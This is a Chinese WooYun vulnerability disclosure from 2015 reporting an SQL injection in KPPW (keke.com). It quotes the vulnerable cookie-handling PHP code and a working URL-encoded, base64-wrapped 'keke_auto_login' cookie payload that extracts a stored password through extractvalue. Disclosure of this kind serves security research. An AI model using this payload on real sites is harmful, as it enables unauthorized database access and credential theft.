当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0148386

漏洞标题:kppw最新版注入一枚。

相关厂商:keke.com

漏洞作者: 路人甲

提交时间:2015-10-22 11:38

修复时间:2016-01-25 11:50

公开时间:2016-01-25 11:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-22: 细节已通知厂商并且等待厂商处理中
2015-10-27: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-21: 细节向核心白帽子及相关领域专家公开
2015-12-31: 细节向普通白帽子公开
2016-01-10: 细节向实习白帽子公开
2016-01-25: 细节向公众公开

简要描述:

SQL。

详细说明:

http://**.**.**.**/bugs/wooyun-2015-0131525
上次的任意用户登录已经标明了是注入漏洞了,然后只加了个token把任意用户登录补上了。
\lib\inc\keke_core_class.php 1002行

} elseif ($_COOKIE ['keke_auto_login']) {
$token = $_COOKIE ['keke_auto_login'];
$loginInfo = unserialize ( $_COOKIE ['keke_auto_login'] );
$pwdInfo = explode ( '|', base64_decode ( $loginInfo [2] ) );
$uInfo = kekezu::get_table_data ( '*', 'witkey_space', " username='$pwdInfo[2]' and token = '$token'", '', '' );
if ($uInfo [0] ['uid'] == $pwdInfo [0]) {
$_SESSION ['uid'] = $uInfo [0] ['uid'];
$_SESSION ['username'] = $uInfo [0] ['username'];
$this->_uid = $_SESSION ['uid'];
$this->_username = $uInfo [0] ['username'];
}
}
}


注入依旧。
payload:
keke_auto_login=a%3A3%3A%7Bi%3A0%3Bs%3A4%3A%22MTE%3D%22%3Bi%3A1%3Bs%3A8%3A%22cXdlcnR5%22%3Bi%3A2%3Bs%3A228%3A%22MTF8TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4yOyBXT1c2NDsgcnY6NDEuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC80MS4wfHF3ZXJ0eScgYW5kIGV4dHJhY3R2YWx1ZSgxLCBjb25jYXQoMHg1Yywoc2VsZWN0IHBhc3N3b3JkIGZyb20ga2VrZV93aXRrZXlfbWVtYmVyIGxpbWl0IDEpKSk7Iw%3D%3D%22%3B%7D;

_0H3]2AXQ%V1}2HWIQI[AK3.png


漏洞证明:

如上。

修复方案:

过滤。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-01-25 11:50

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无